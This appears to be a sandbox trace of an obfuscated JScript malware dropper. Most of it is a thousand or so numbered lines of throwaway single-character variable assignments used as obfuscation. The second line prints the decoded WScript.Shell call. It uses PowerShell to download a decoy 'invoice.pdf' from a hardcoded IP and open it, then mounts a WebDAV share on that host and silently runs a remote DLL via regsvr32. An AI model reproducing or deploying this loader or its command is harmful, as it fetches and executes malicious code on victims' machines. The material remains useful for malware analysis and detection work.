lhbjes + bprkeyhwy + bprkeyhwy + alsakbwa + hqjnovqri + aficie + ixqgst + hqjnovqri + xmtkk + jspfsayh + hqjnovqri + nrpkwshtu + nearxrk + ncqure + jspfsayh + ioocq + fqhyq + lctsaefpm + bdovjes + paxgtqjz + fqhyq + xwzet + nrpkwshtu + ziflw + ncqure + ifhxuk + xwohqfle + bprkeyhwy + bprkeyhwy + xwzet + nearxrk + ifhxuk + xmtkk + ekhzgvyqf + xwzet + xmtkk + lctsaefpm + nrpkwshtu + hqjnovqri + xmtkk + hsygudrad + alsakbwa + nrpkwshtu + xmtkk + ioocq + ioocq + jypbcdbo + fsojv + kzhdjpgye + ziflw + jypbcdbo + gbbom + kzhdjpgye + ziflw + jypbcdbo + ziflw + kcodaiea + yrexlq + aqownams + gkvcos + kplqot + kplqot + kplqot + kplqot + ioocq + ifhxuk + aficie + bdovjes + nzhnnrd + nzhnnrd + nzhnnrd + ixqgst + paxgtqjz + paxgtqjz + hqjnovqri + ioocq + bprkeyhwy + bprkeyhwy + xwzet + nearxrk + ifhxuk + xmtkk + ekhzgvyqf + xwzet + xmtkk + ixqgst + nrpkwshtu + xsanythil + alsakbwa + bdovjes + ixqgst + kzhdjpgye + kcodaiea + xmtkk + ekhzgvyqf + alsakbwa + xmtkk + ioocq + ioocq + jypbcdbo + fsojv + kzhdjpgye + ziflw + jypbcdbo + gbbom + kzhdjpgye + ziflw + jypbcdbo + ziflw + kcodaiea + yrexlq + aqownams + gkvcos + kplqot + kplqot + kplqot + kplqot + ioocq + ifhxuk + aficie + bdovjes + nzhnnrd + nzhnnrd + nzhnnrd + ixqgst + paxgtqjz + paxgtqjz + hqjnovqri + ioocq + jypbcdbo + kcodaiea + zrrzounex + kzhdjpgye + kzhdjpgye + aqownams + kzhdjpgye + gbbom + zrrzounex + kcodaiea + gbbom + kplqot + dyebggi + kplqot + ziflw + ifhxuk + hrrcqrs + hrrcqrs, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll",0,false) ➔ 0
14	}
15	dyxtkofz = "N";
16	dyxtkofz = "P";
17	dyxtkofz = "L";
18	dyxtkofz = "E";
19	dyxtkofz = "W";
20	dyxtkofz = "h";
21	dyxtkofz = "m";
22	dyxtkofz = "D";
23	dyxtkofz = "g";
24	dyxtkofz = "o";
25	dyxtkofz = "b";
26	dyxtkofz = "O";
27	dyxtkofz = "h";
28	dyxtkofz = "n";
29	dyxtkofz = "R";
30	dyxtkofz = "a";
31	dyxtkofz = "e";
32	dyxtkofz = "q";
33	dyxtkofz = "C";
34	eoedixdkp = "U";
35	eoedixdkp = "E";
36	eoedixdkp = "w";
37	eoedixdkp = "r";
38	eoedixdkp = "t";
39	eoedixdkp = "F";
40	eoedixdkp = "d";
41	eoedixdkp = "t";
42	eoedixdkp = "r";
43	eoedixdkp = "U";
44	eoedixdkp = "d";
45	eoedixdkp = "B";
46	eoedixdkp = "k";
47	eoedixdkp = "j";
48	eoedixdkp = "p";
49	eoedixdkp = "r";
50	eoedixdkp = "c";
51	eoedixdkp = "F";
52	eoedixdkp = "M";
53	eoedixdkp = "h";
54	eoedixdkp = "U";
55	eoedixdkp = "H";
56	dhxtbeqax = "h";
57	dhxtbeqax = "t";
58	dhxtbeqax = "h";
59	dhxtbeqax = "G";
60	dhxtbeqax = "H";
61	dhxtbeqax = "R";
62	dhxtbeqax = "i";
63	dhxtbeqax = "X";
64	dhxtbeqax = "j";
65	dhxtbeqax = "a";
66	dhxtbeqax = "D";
67	dhxtbeqax = "J";
68	dhxtbeqax = "W";
69	dhxtbeqax = "o";
70	dhxtbeqax = "V";
71	dhxtbeqax = "B";
72	dhxtbeqax = "d";
73	dhxtbeqax = "v";
74	dhxtbeqax = "c";
75	dhxtbeqax = "k";
76	gclzsxsa = "Z";
77	gclzsxsa = "E";
78	gclzsxsa = "V";
79	gclzsxsa = "f";
80	gclzsxsa = "k";
81	gclzsxsa = "O";
82	gclzsxsa = "L";
83	yrexlq = "C";
84	yrexlq = "b";
85	yrexlq = "M";
86	yrexlq = "x";
87	yrexlq = "C";
88	yrexlq = "C";
89	yrexlq = "W";
90	yrexlq = "A";
91	yrexlq = "v";
92	yrexlq = "G";
93	yrexlq = "U";
94	yrexlq = "J";
95	yrexlq = "v";
96	yrexlq = "U";
97	yrexlq = "e";
98	yrexlq = "W";
99	yrexlq = "d";
100	yrexlq = "W";
101	yrexlq = "C";
102	yrexlq = "0";
103	paxgtqjz = "r";
104	paxgtqjz = "P";
105	paxgtqjz = "n";
106	paxgtqjz = "a";
107	paxgtqjz = "c";
108	paxgtqjz = "n";
109	paxgtqjz = "E";
110	paxgtqjz = "o";
111	hstwrx = "h";
112	hstwrx = "l";
113	hstwrx = "U";
114	hstwrx = "T";
115	hstwrx = "C";
116	hstwrx = "O";
117	hstwrx = "s";
118	hstwrx = "x";
119	hstwrx = "X";
120	hstwrx = "N";
121	hstwrx = "F";
122	hstwrx = "p";
123	hstwrx = "U";
124	hstwrx = "j";
125	hstwrx = "H";
126	hstwrx = "t";
127	hstwrx = "d";
128	hstwrx = "C";
129	hstwrx = "Y";
130	kplqot = "8";
131	xwohqfle = "w";
132	xwohqfle = "p";
133	xwohqfle = "l";
134	xwohqfle = "H";
135	xwohqfle = "z";
136	xwohqfle = "T";
137	xwohqfle = "X";
138	xwohqfle = "F";
139	xwohqfle = "C";
140	xwohqfle = "h";
141	xwohqfle = "Y";
142	xwohqfle = "H";
143	xwohqfle = "E";
144	xwohqfle = "R";
145	xwohqfle = "e";
146	xwohqfle = "Z";
147	xwohqfle = "j";
148	xwohqfle = "J";
149	xwohqfle = "Y";
150	xwohqfle = "y";
151	xwohqfle = "S";
152	xwohqfle = "y";
153	xwohqfle = "J";
154	xwohqfle = "i";
155	xwohqfle = "e";
156	xwohqfle = "Z";
157	xwohqfle = "U";
158	xwohqfle = "G";
159	xwohqfle = "J";
160	xwohqfle = "y";
161	xwohqfle = "O";
162	xwohqfle = "A";
163	xwohqfle = "K";
164	xwohqfle = "X";
165	xwohqfle = "V";
166	xwohqfle = "s";
167	xwohqfle = "J";
168	xwohqfle = "f";
169	xsanythil = "g";
170	xsanythil = "N";
171	xsanythil = "H";
172	xsanythil = "R";
173	xsanythil = "G";
174	xsanythil = "c";
175	xsanythil = "g";
176	bdovjes = "v";
177	hsygudrad = "r";
178	hsygudrad = "j";
179	hsygudrad = "m";
180	hsygudrad = "H";
181	hsygudrad = "H";
182	hsygudrad = "I";
183	hsygudrad = "J";
184	hsygudrad = "X";
185	hsygudrad = "D";
186	hsygudrad = "A";
187	hsygudrad = "G";
188	hsygudrad = "d";
189	hsygudrad = "o";
190	hsygudrad = "e";
191	hsygudrad = "D";
192	hsygudrad = "x";
193	hsygudrad = "H";
194	hsygudrad = "d";
195	hsygudrad = "S";
196	hsygudrad = "O";
197	hsygudrad = "A";
198	hsygudrad = "S";
199	hsygudrad = "S";
200	hsygudrad = "q";
201	hsygudrad = "t";
202	hsygudrad = "S";
203	hsygudrad = "A";
204	hsygudrad = "Q";
205	hsygudrad = "D";
206	hsygudrad = "y";
207	hsygudrad = "K";
208	hsygudrad = "H";
209	hsygudrad = "N";
210	hsygudrad = "o";
211	hsygudrad = "m";
212	hsygudrad = "Y";
213	hsygudrad = "n";
214	hsygudrad = "f";
215	hsygudrad = "u";
216	gbbom = "V";
217	gbbom = "J";
218	gbbom = "I";
219	gbbom = "A";
220	gbbom = "o";
221	gbbom = "a";
222	gbbom = "X";
223	gbbom = "a";
224	gbbom = "S";
225	gbbom = "T";
226	gbbom = "w";
227	gbbom = "X";
228	gbbom = "e";
229	gbbom = "m";
230	gbbom = "p";
231	gbbom = "k";
232	gbbom = "C";
233	gbbom = "I";
234	gbbom = "a";
235	gbbom = "M";
236	gbbom = "G";
237	gbbom = "j";
238	gbbom = "L";
239	gbbom = "k";
240	gbbom = "l";
241	gbbom = "N";
242	gbbom = "Q";
243	gbbom = "O";
244	gbbom = "l";
245	gbbom = "g";
246	gbbom = "g";
247	gbbom = "P";
248	gbbom = "j";
249	gbbom = "H";
250	gbbom = "G";
251	gbbom = "W";
252	gbbom = "X";
253	gbbom = "M";
254	gbbom = "b";
255	gbbom = "v";
256	gbbom = "m";
257	gbbom = "m";
258	gbbom = "4";
259	mslcyne = "q";
260	mslcyne = "s";
261	mslcyne = "j";
262	mslcyne = "X";
263	mslcyne = "T";
264	mslcyne = "t";
265	mslcyne = "A";
266	mslcyne = "p";
267	mslcyne = "h";
268	mslcyne = "S";
269	mslcyne = "N";
270	mslcyne = "k";
271	mslcyne = "l";
272	mslcyne = "W";
273	mslcyne = "S";
274	mslcyne = "M";
275	mslcyne = "C";
276	mslcyne = "o";
277	mslcyne = "A";
278	mslcyne = "E";
279	mslcyne = "H";
280	mslcyne = "z";
281	mslcyne = "r";
282	mslcyne = "q";
283	mslcyne = "k";
284	mslcyne = "f";
285	mslcyne = "e";
286	mslcyne = "H";
287	mslcyne = "r";
288	mslcyne = "K";
289	mslcyne = "S";
290	mslcyne = "V";
291	mslcyne = "q";
292	mslcyne = "F";
293	nearxrk = "q";
294	nearxrk = "U";
295	nearxrk = "Q";
296	nearxrk = "h";
297	nearxrk = "A";
298	nearxrk = "t";
299	nearxrk = "m";
300	nearxrk = "F";
301	nearxrk = "k";
302	nearxrk = "l";
303	nearxrk = "M";
304	nearxrk = "I";
305	nearxrk = "B";
306	nearxrk = "B";
307	nearxrk = "l";
308	nearxrk = "B";
309	nearxrk = "P";
310	nearxrk = "P";
311	nearxrk = "P";
312	nearxrk = "v";
313	nearxrk = "D";
314	nearxrk = "p";
315	nearxrk = "A";
316	nearxrk = "R";
317	nearxrk = "q";
318	nearxrk = "e";
319	nearxrk = "l";
320	nearxrk = "G";
321	nearxrk = "x";
322	nearxrk = "e";
323	nearxrk = "m";
324	ncqure = "e";
325	ncqure = "G";
326	ncqure = "X";
327	ncqure = "m";
328	ncqure = "Q";
329	ncqure = "j";
330	ncqure = "u";
331	ncqure = "I";
332	ncqure = "u";
333	ncqure = "D";
334	ncqure = "k";
335	ncqure = "E";
336	ncqure = "w";
337	ncqure = "Q";
338	ncqure = "S";
339	ncqure = "i";
340	ncqure = "a";
341	ncqure = "b";
342	ncqure = "m";
343	ncqure = "O";
344	ncqure = "s";
345	ncqure = "r";
346	ncqure = "h";
347	ncqure = "B";
348	ncqure = "P";
349	ncqure = "u";
350	ncqure = "o";
351	ncqure = "s";
352	ncqure = "y";
353	ncqure = "r";
354	ncqure = "I";
355	ncqure = "h";
356	ncqure = "F";
357	ncqure = "J";
358	ncqure = "p";
359	utiww = "I";
360	utiww = "S";
361	utiww = "h";
362	utiww = "G";
363	utiww = "t";
364	utiww = "U";
365	utiww = "n";
366	utiww = "K";
367	utiww = "q";
368	utiww = "B";
369	utiww = "z";
370	utiww = "G";
371	utiww = "f";
372	utiww = "h";
373	utiww = "n";
374	utiww = "X";
375	utiww = "u";
376	utiww = "C";
377	utiww = "c";
378	utiww = "H";
379	utiww = "b";
380	utiww = "y";
381	utiww = "k";
382	utiww = "h";
383	utiww = "S";
384	utiww = "S";
385	utiww = "K";
386	utiww = "x";
387	utiww = "Z";
388	utiww = ":";
389	alsakbwa = "v";
390	alsakbwa = "F";
391	alsakbwa = "p";
392	alsakbwa = "K";
393	alsakbwa = "X";
394	alsakbwa = "b";
395	alsakbwa = "a";
396	alsakbwa = "z";
397	alsakbwa = "s";
398	alsakbwa = "I";
399	alsakbwa = "t";
400	alsakbwa = "H";
401	alsakbwa = "X";
402	alsakbwa = "K";
403	alsakbwa = "P";
404	alsakbwa = "a";
405	alsakbwa = "I";
406	alsakbwa = "s";
407	wlubmc = "W";
408	wlubmc = "s";
409	wlubmc = "L";
410	wlubmc = "S";
411	wlubmc = "Z";
412	wlubmc = "x";
413	wlubmc = "d";
414	wlubmc = "W";
415	wlubmc = "Y";
416	wlubmc = "F";
417	wlubmc = "T";
418	wlubmc = "w";
419	wlubmc = "h";
420	wlubmc = "j";
421	wlubmc = "e";
422	wlubmc = "x";
423	wlubmc = "l";
424	wlubmc = "p";
425	wlubmc = "M";
426	wlubmc = "U";
427	aqownams = "d";
428	aqownams = "p";
429	aqownams = "S";
430	aqownams = "q";
431	aqownams = "u";
432	aqownams = "T";
433	aqownams = "e";
434	aqownams = "t";
435	aqownams = "t";
436	aqownams = "r";
437	aqownams = "Q";
438	aqownams = "q";
439	aqownams = "T";
440	aqownams = "f";
441	aqownams = "H";
442	aqownams = "Z";
443	aqownams = "o";
444	aqownams = "b";
445	aqownams = "g";
446	aqownams = "P";
447	aqownams = "g";
448	aqownams = "B";
449	aqownams = "F";
450	aqownams = "r";
451	aqownams = "A";
452	aqownams = "5";
453	jspfsayh = "E";
454	jspfsayh = "M";
455	jspfsayh = "v";
456	jspfsayh = "d";
457	jspfsayh = "q";
458	jspfsayh = "H";
459	jspfsayh = "n";
460	jspfsayh = "O";
461	jspfsayh = "w";
462	jspfsayh = "S";
463	jspfsayh = "u";
464	jspfsayh = "m";
465	jspfsayh = "V";
466	jspfsayh = "J";
467	jspfsayh = "V";
468	jspfsayh = "%";
469	ebbqockp = "o";
470	ebbqockp = "a";
471	ebbqockp = "N";
472	ebbqockp = "K";
473	ebbqockp = "z";
474	ebbqockp = "W";
475	ebbqockp = "t";
476	ebbqockp = "l";
477	ebbqockp = "J";
478	ebbqockp = "V";
479	ebbqockp = "o";
480	ebbqockp = "y";
481	ebbqockp = "O";
482	ebbqockp = "k";
483	ebbqockp = "q";
484	ebbqockp = "q";
485	ebbqockp = "b";
486	ebbqockp = "Q";
487	ebbqockp = "h";
488	ebbqockp = "g";
489	ebbqockp = "q";
490	ebbqockp = "c";
491	ebbqockp = "N";
492	ebbqockp = "h";
493	ebbqockp = "v";
494	ebbqockp = "i";
495	ebbqockp = "P";
496	ebbqockp = "E";
497	ebbqockp = "c";
498	ebbqockp = "M";
499	ebbqockp = "H";
500	ebbqockp = "B";
501	ebbqockp = "c";
502	ebbqockp = "Q";
503	ebbqockp = "y";
504	ebbqockp = "d";
505	ebbqockp = "A";
506	ebbqockp = "L";
507	ebbqockp = "I";
508	ebbqockp = "p";
509	ebbqockp = "W";
510	ebbqockp = "t";
511	ebbqockp = "E";
512	omauz = "P";
513	igxsk = "-";
514	gybbbbz = "n";
515	gybbbbz = "G";
516	gybbbbz = "t";
517	gybbbbz = "O";
518	gybbbbz = "a";
519	gybbbbz = "B";
520	gybbbbz = "x";
521	gybbbbz = "y";
522	gybbbbz = "r";
523	gybbbbz = "R";
524	gybbbbz = "I";
525	gybbbbz = "X";
526	gybbbbz = "G";
527	gybbbbz = "W";
528	ekhzgvyqf = "W";
529	ekhzgvyqf = "F";
530	ekhzgvyqf = "x";
531	ekhzgvyqf = "q";
532	ekhzgvyqf = "j";
533	ekhzgvyqf = "K";
534	ekhzgvyqf = "S";
535	ekhzgvyqf = "m";
536	ekhzgvyqf = "e";
537	ekhzgvyqf = "v";
538	ekhzgvyqf = "d";
539	ekhzgvyqf = "/";
540	yeezkg = "z";
541	yeezkg = "Z";
542	yeezkg = "j";
543	yeezkg = "j";
544	yeezkg = "e";
545	yeezkg = "T";
546	yeezkg = "N";
547	yeezkg = "q";
548	yeezkg = "x";
549	yeezkg = "U";
550	yeezkg = "K";
551	yeezkg = "o";
552	yeezkg = "w";
553	yeezkg = "q";
554	yeezkg = "P";
555	yeezkg = "i";
556	yeezkg = "h";
557	yeezkg = "v";
558	yeezkg = "U";
559	yeezkg = "w";
560	yeezkg = "T";
561	yeezkg = "m";
562	yeezkg = "B";
563	yeezkg = "P";
564	yeezkg = "c";
565	yeezkg = "G";
566	yeezkg = "I";
567	yeezkg = "l";
568	yeezkg = "R";
569	yeezkg = "U";
570	yeezkg = "G";
571	yeezkg = "P";
572	yeezkg = "j";
573	yeezkg = "V";
574	yeezkg = "I";
575	yeezkg = "c";
576	yeezkg = "h";
577	yeezkg = "_";
578	zmdvjqpb = "l";
579	zmdvjqpb = "X";
580	zmdvjqpb = "O";
581	zmdvjqpb = "j";
582	xswim = "w";
583	xswim = "l";
584	xswim = "C";
585	xswim = "N";
586	xswim = "h";
587	xswim = "z";
588	xswim = "J";
589	xswim = "q";
590	xswim = "S";
591	xswim = "Y";
592	xswim = "s";
593	xswim = "d";
594	xswim = "f";
595	xswim = "U";
596	xswim = "u";
597	xswim = "R";
598	xswim = "e";
599	xswim = "Q";
600	xswim = "C";
601	xswim = "P";
602	xswim = "R";
603	xswim = "M";
604	xswim = "O";
605	xswim = "D";
606	xswim = "P";
607	xswim = "Y";
608	xswim = "L";
609	xswim = "z";
610	xswim = "T";
611	xswim = "B";
612	xswim = "s";
613	xswim = "o";
614	xswim = "a";
615	xswim = "T";
616	xswim = "A";
617	xswim = "X";
618	xswim = "U";
619	xswim = "k";
620	xswim = "K";
621	xswim = "V";
622	xswim = "R";
623	nzhnnrd = "a";
624	nzhnnrd = "x";
625	nzhnnrd = "T";
626	nzhnnrd = "u";
627	nzhnnrd = "G";
628	nzhnnrd = "h";
629	nzhnnrd = "y";
630	nzhnnrd = "X";
631	nzhnnrd = "Z";
632	nzhnnrd = "u";
633	nzhnnrd = "P";
634	nzhnnrd = "k";
635	nzhnnrd = "n";
636	nzhnnrd = "b";
637	nzhnnrd = "Z";
638	nzhnnrd = "U";
639	nzhnnrd = "P";
640	nzhnnrd = "J";
641	nzhnnrd = "l";
642	nzhnnrd = "B";
643	nzhnnrd = "t";
644	nzhnnrd = "z";
645	nzhnnrd = "T";
646	nzhnnrd = "Q";
647	nzhnnrd = "K";
648	nzhnnrd = "w";
649	nzhnnrd = "Q";
650	nzhnnrd = "S";
651	nzhnnrd = "w";
652	ioocq = "J";
653	ioocq = "Y";
654	ioocq = "h";
655	ioocq = "N";
656	ioocq = "o";
657	ioocq = "M";
658	ioocq = "E";
659	ioocq = "Q";
660	ioocq = "V";
661	ioocq = "K";
662	ioocq = "G";
663	ioocq = "I";
664	ioocq = "R";
665	ioocq = "q";
666	ioocq = "v";
667	ioocq = "D";
668	ioocq = "X";
669	ioocq = "d";
670	ioocq = "e";
671	ioocq = "S";
672	ioocq = "q";
673	ioocq = "P";
674	ioocq = "c";
675	ioocq = "L";
676	ioocq = "m";
677	ioocq = "X";
678	ioocq = "v";
679	ioocq = "u";
680	ioocq = "c";
681	ioocq = "f";
682	ioocq = "\\";
683	ozmvrto = "U";
684	ozmvrto = "Y";
685	ozmvrto = "i";
686	ozmvrto = "X";
687	ozmvrto = "s";
688	ozmvrto = "Q";
689	ozmvrto = "b";
690	ozmvrto = "D";
691	ozmvrto = "x";
692	ozmvrto = "e";
693	ozmvrto = "X";
694	ozmvrto = "x";
695	ozmvrto = "O";
696	ozmvrto = "O";
697	ozmvrto = "H";
698	ozmvrto = "e";
699	ozmvrto = "k";
700	ozmvrto = "e";
701	ozmvrto = "e";
702	ozmvrto = "R";
703	ozmvrto = "N";
704	ozmvrto = "l";
705	ozmvrto = "h";
706	vwambky = "C";
707	vwambky = "t";
708	vwambky = "g";
709	vwambky = "F";
710	vwambky = "l";
711	vwambky = "r";
712	vwambky = "L";
713	vwambky = "P";
714	vwambky = "c";
715	vwambky = "i";
716	vwambky = "m";
717	vwambky = "E";
718	vwambky = "e";
719	vwambky = "o";
720	vwambky = "R";
721	vwambky = "d";
722	vwambky = "Z";
723	vwambky = "x";
724	vwambky = "S";
725	vwambky = "U";
726	vwambky = "U";
727	vwambky = "k";
728	vwambky = "b";
729	vwambky = "y";
730	vwambky = "W";
731	vwambky = "l";
732	vwambky = "P";
733	vwambky = "w";
734	vwambky = "E";
735	vwambky = "c";
736	vwambky = "l";
737	vwambky = "Z";
738	vwambky = "u";
739	vwambky = "K";
740	vwambky = "L";
741	vwambky = "d";
742	vwambky = "A";
743	vwambky = "O";
744	vwambky = "R";
745	vwambky = "T";
746	zrehxwyfg = "A";
747	zrehxwyfg = "o";
748	zrehxwyfg = "z";
749	zrehxwyfg = "R";
750	zrehxwyfg = "D";
751	zrehxwyfg = "Z";
752	zrehxwyfg = "p";
753	zrehxwyfg = "N";
754	zrehxwyfg = "j";
755	zrehxwyfg = "S";
756	zrehxwyfg = "m";
757	zrehxwyfg = "Q";
758	zrehxwyfg = "k";
759	zrehxwyfg = "x";
760	zrehxwyfg = "L";
761	zrehxwyfg = "u";
762	zrehxwyfg = "N";
763	zrehxwyfg = "E";
764	zrehxwyfg = "w";
765	zrehxwyfg = "C";
766	zrehxwyfg = "Q";
767	zrehxwyfg = "v";
768	zrehxwyfg = "b";
769	zrehxwyfg = "I";
770	zrehxwyfg = "e";
771	zrehxwyfg = "z";
772	zrehxwyfg = "k";
773	zrehxwyfg = "S";
774	zrehxwyfg = "F";
775	zrehxwyfg = "S";
776	zrehxwyfg = "x";
777	zrehxwyfg = "r";
778	zrehxwyfg = "c";
779	zrehxwyfg = "K";
780	zrehxwyfg = "z";
781	zrehxwyfg = "n";
782	zrehxwyfg = "I";
783	gcjrgoju = "T";
784	gcjrgoju = "K";
785	gcjrgoju = "E";
786	gcjrgoju = "C";
787	gcjrgoju = "x";
788	gcjrgoju = "a";
789	gcjrgoju = "b";
790	gcjrgoju = "N";
791	gcjrgoju = "d";
792	gcjrgoju = "Q";
793	gcjrgoju = "A";
794	gcjrgoju = "o";
795	gcjrgoju = "X";
796	gcjrgoju = "f";
797	gcjrgoju = "i";
798	gcjrgoju = "B";
799	gcjrgoju = "O";
800	ziflw = "x";
801	ziflw = "S";
802	ziflw = "B";
803	ziflw = "z";
804	ziflw = "E";
805	ziflw = "Q";
806	ziflw = "I";
807	ziflw = "b";
808	ziflw = "L";
809	ziflw = "e";
810	ziflw = "c";
811	ziflw = "d";
812	ziflw = "u";
813	ziflw = "W";
814	ziflw = "X";
815	ziflw = "K";
816	ziflw = "i";
817	ziflw = "Q";
818	ziflw = "u";
819	ziflw = ".";
820	hqjnovqri = "s";
821	hqjnovqri = "t";
822	hrrcqrs = "Q";
823	hrrcqrs = "w";
824	hrrcqrs = "l";
825	hrrcqrs = "s";
826	hrrcqrs = "i";
827	hrrcqrs = "l";
828	hrrcqrs = "I";
829	hrrcqrs = "D";
830	hrrcqrs = "p";
831	hrrcqrs = "W";
832	hrrcqrs = "n";
833	hrrcqrs = "M";
834	hrrcqrs = "y";
835	hrrcqrs = "K";
836	hrrcqrs = "G";
837	hrrcqrs = "B";
838	hrrcqrs = "W";
839	hrrcqrs = "I";
840	hrrcqrs = "f";
841	hrrcqrs = "u";
842	hrrcqrs = "W";
843	hrrcqrs = "h";
844	hrrcqrs = "P";
845	hrrcqrs = "r";
846	hrrcqrs = "l";
847	jypbcdbo = "f";
848	jypbcdbo = "r";
849	jypbcdbo = "J";
850	jypbcdbo = "V";
851	jypbcdbo = "S";
852	jypbcdbo = "Q";
853	jypbcdbo = "w";
854	jypbcdbo = "p";
855	jypbcdbo = "f";
856	jypbcdbo = "D";
857	jypbcdbo = "p";
858	jypbcdbo = "J";
859	jypbcdbo = "n";
860	jypbcdbo = "L";
861	jypbcdbo = "H";
862	jypbcdbo = "y";
863	jypbcdbo = "F";
864	jypbcdbo = "z";
865	jypbcdbo = "C";
866	jypbcdbo = "z";
867	jypbcdbo = "p";
868	jypbcdbo = "V";
869	jypbcdbo = "M";
870	jypbcdbo = "E";
871	jypbcdbo = "q";
872	jypbcdbo = "V";
873	jypbcdbo = "C";
874	jypbcdbo = "1";
875	bprkeyhwy = "U";
876	bprkeyhwy = "N";
877	bprkeyhwy = "t";
878	bprkeyhwy = "q";
879	bprkeyhwy = "R";
880	bprkeyhwy = "p";
881	bprkeyhwy = "M";
882	bprkeyhwy = "Y";
883	bprkeyhwy = "y";
884	bprkeyhwy = "X";
885	bprkeyhwy = "h";
886	bprkeyhwy = "S";
887	bprkeyhwy = "T";
888	bprkeyhwy = "m";
889	bprkeyhwy = "d";
890	bprkeyhwy = "Q";
891	bprkeyhwy = "S";
892	bprkeyhwy = "d";
893	bprkeyhwy = "E";
894	bprkeyhwy = "R";
895	bprkeyhwy = "F";
896	bprkeyhwy = "o";
897	bprkeyhwy = "k";
898	bprkeyhwy = "b";
899	bprkeyhwy = "B";
900	bprkeyhwy = "O";
901	bprkeyhwy = "u";
902	bprkeyhwy = "G";
903	bprkeyhwy = "K";
904	bprkeyhwy = "L";
905	bprkeyhwy = "T";
906	bprkeyhwy = "G";
907	bprkeyhwy = "y";
908	bprkeyhwy = "A";
909	bprkeyhwy = "E";
910	bprkeyhwy = "v";
911	bprkeyhwy = "F";
912	bprkeyhwy = "j";
913	bprkeyhwy = "Q";
914	bprkeyhwy = "&";
915	kcodaiea = "q";
916	kcodaiea = "W";
917	kcodaiea = "c";
918	kcodaiea = "b";
919	kcodaiea = "j";
920	kcodaiea = "n";
921	kcodaiea = "r";
922	kcodaiea = "S";
923	kcodaiea = "2";
924	zrrzounex = "k";
925	zrrzounex = "g";
926	zrrzounex = "M";
927	zrrzounex = "N";
928	zrrzounex = "C";
929	zrrzounex = "A";
930	zrrzounex = "y";
931	zrrzounex = "7";
932	xmtkk = "l";
933	xmtkk = "r";
934	xmtkk = "v";
935	xmtkk = "r";
936	xmtkk = "x";
937	xmtkk = "R";
938	xmtkk = "l";
939	xmtkk = "t";
940	xmtkk = "p";
941	xmtkk = "h";
942	xmtkk = "o";
943	xmtkk = "Z";
944	xmtkk = "t";
945	xmtkk = "e";
946	xmtkk = "y";
947	xmtkk = "t";
948	xmtkk = "W";
949	xmtkk = "K";
950	xmtkk = "Q";
951	xmtkk = "b";
952	xmtkk = "p";
953	xmtkk = "Z";
954	xmtkk = "s";
955	xmtkk = "R";
956	xmtkk = "d";
957	xmtkk = "x";
958	xmtkk = "x";
959	xmtkk = " ";
960	xwzet = "e";
961	xwzet = "B";
962	xwzet = "h";
963	xwzet = "c";
964	xwzet = "A";
965	xwzet = "C";
966	xwzet = "q";
967	xwzet = "W";
968	xwzet = "H";
969	xwzet = "m";
970	xwzet = "F";
971	xwzet = "K";
972	xwzet = "A";
973	xwzet = "o";
974	xwzet = "J";
975	xwzet = "T";
976	xwzet = "G";
977	xwzet = "f";
978	xwzet = "e";
979	xwzet = "B";
980	xwzet = "v";
981	xwzet = "P";
982	xwzet = "X";
983	xwzet = "u";
984	xwzet = "q";
985	xwzet = "A";
986	xwzet = "f";
987	xwzet = "i";
988	xwzet = "b";
989	xwzet = "M";
990	xwzet = "c";
991	ifhxuk = "i";
992	ifhxuk = "A";
993	ifhxuk = "W";
994	ifhxuk = "f";
995	ifhxuk = "U";
996	ifhxuk = "j";
997	ifhxuk = "U";
998	ifhxuk = "t";
999	ifhxuk = "o";
1000	ifhxuk = "j";
1001	ifhxuk = "W";
1002	ifhxuk = "V";
1003	ifhxuk = "z";
1004	ifhxuk = "n";
1005	ifhxuk = "z";
1006	ifhxuk = "l";
1007	ifhxuk = "n";
1008	ifhxuk = "H";
1009	ifhxuk = "w";
1010	ifhxuk = "R";
1011	ifhxuk = "I";
1012	ifhxuk = "V";
1013	ifhxuk = "F";
1014	ifhxuk = "V";
1015	ifhxuk = "h";
1016	ifhxuk = "Q";
1017	ifhxuk = "r";
1018	ifhxuk = "S";
1019	ifhxuk = "d";
1020	lhbjes = "o";
1021	lhbjes = "k";
1022	lhbjes = "p";
1023	lhbjes = "b";
1024	lhbjes = "J";
1025	lhbjes = "I";
1026	lhbjes = "a";
1027	lhbjes = "H";
1028	lhbjes = "J";
1029	lhbjes = "I";
1030	lhbjes = "n";
1031	lhbjes = "k";
1032	lhbjes = "K";
1033	lhbjes = "v";
1034	lhbjes = "n";
1035	lhbjes = "C";
1036	lhbjes = "T";
1037	lhbjes = "W";
1038	lhbjes = "Y";
1039	lhbjes = "\"";
1040	gkvcos = "J";
1041	gkvcos = "S";
1042	gkvcos = "E";
1043	gkvcos = "q";
1044	gkvcos = "s";
1045	gkvcos = "Y";
1046	gkvcos = "Y";
1047	gkvcos = "E";
1048	gkvcos = "Q";
1049	gkvcos = "x";
1050	gkvcos = "r";
1051	gkvcos = "C";
1052	gkvcos = "b";
1053	gkvcos = "c";
1054	gkvcos = "t";
1055	gkvcos = "K";
1056	gkvcos = "X";
1057	gkvcos = "w";
1058	gkvcos = "k";
1059	gkvcos = "X";
1060	gkvcos = "J";
1061	gkvcos = "A";
1062	gkvcos = "f";
1063	gkvcos = "t";
1064	gkvcos = "v";
1065	gkvcos = "g";
1066	gkvcos = "L";
1067	gkvcos = "q";
1068	gkvcos = "g";
1069	gkvcos = "H";
1070	gkvcos = "b";
1071	gkvcos = "@";
1072	fqhyq = "m";
1073	fqhyq = "J";
1074	fqhyq = "i";
1075	fqhyq = "x";
1076	fqhyq = "w";
1077	fqhyq = "t";
1078	fqhyq = "J";
1079	fqhyq = "G";
1080	fqhyq = "e";
1081	fqhyq = "c";
1082	fqhyq = "v";
1083	fqhyq = "w";
1084	fqhyq = "H";
1085	fqhyq = "q";
1086	fqhyq = "W";
1087	fqhyq = "k";
1088	fqhyq = "E";
1089	fqhyq = "i";
1090	cxaydrjy = "B";
1091	cxaydrjy = "G";
1092	cxaydrjy = "e";
1093	cxaydrjy = "S";
1094	cxaydrjy = "C";
1095	cxaydrjy = "C";
1096	cxaydrjy = "f";
1097	cxaydrjy = "z";
1098	cxaydrjy = "C";
1099	cxaydrjy = "w";
1100	cxaydrjy = "R";
1101	cxaydrjy = "t";
1102	cxaydrjy = "h";
1103	cxaydrjy = "R";
1104	cxaydrjy = "q";
1105	cxaydrjy = "l";
